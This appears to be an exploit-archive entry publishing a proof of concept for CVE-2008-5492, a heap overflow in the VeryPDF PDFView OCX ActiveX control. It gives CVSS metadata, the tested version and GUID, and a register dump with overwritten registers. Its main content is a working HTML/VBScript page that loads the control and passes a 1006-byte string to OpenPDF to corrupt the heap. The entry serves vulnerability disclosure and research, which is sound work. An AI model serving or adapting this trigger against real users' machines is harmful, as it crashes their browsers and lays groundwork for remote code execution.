VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow PoC

2008.12.13

Credit: r0ut3r

Risk: High

Local: Yes

Remote: No

CVE: CVE-2008-5492

CWE: CWE-119

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

<!--
VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow
Discovered & Written By:
r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
Advisory: http://www.bmgsec.com.au/advisory/39/
---------------------------------------------------
Tested on: WinXP Pro SP2
Version: 2.0.0.1
GUID: {433268D7-2CD4-43E6-AA24-2188672E7252}
RegKey Safe for Script: True
RegKey Safe for Init: True
EAX 0003C910 ASCII "AAAAAAAAA""
ECX 000301D0
EDX 00000040
EBX 41414141
ESP 0013B8D8
EBP 0013BAF4
ESI 0003C908 ASCII "AAAAAAAAAAAAAAAAA""
EDI 41414141
EIP 7C91B3FB ntdll.7C91B3FB
-->
<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object>
<script language='vbscript'>
Sub Boom
buff = String(1006, "A")
target.OpenPDF buff, 1, 1
End Sub
</script>
<input type=button onclick=Boom() value='Boom?'>

References:

http://www.bmgsec.com.au/advisories/openpdf.txt

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VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow PoC

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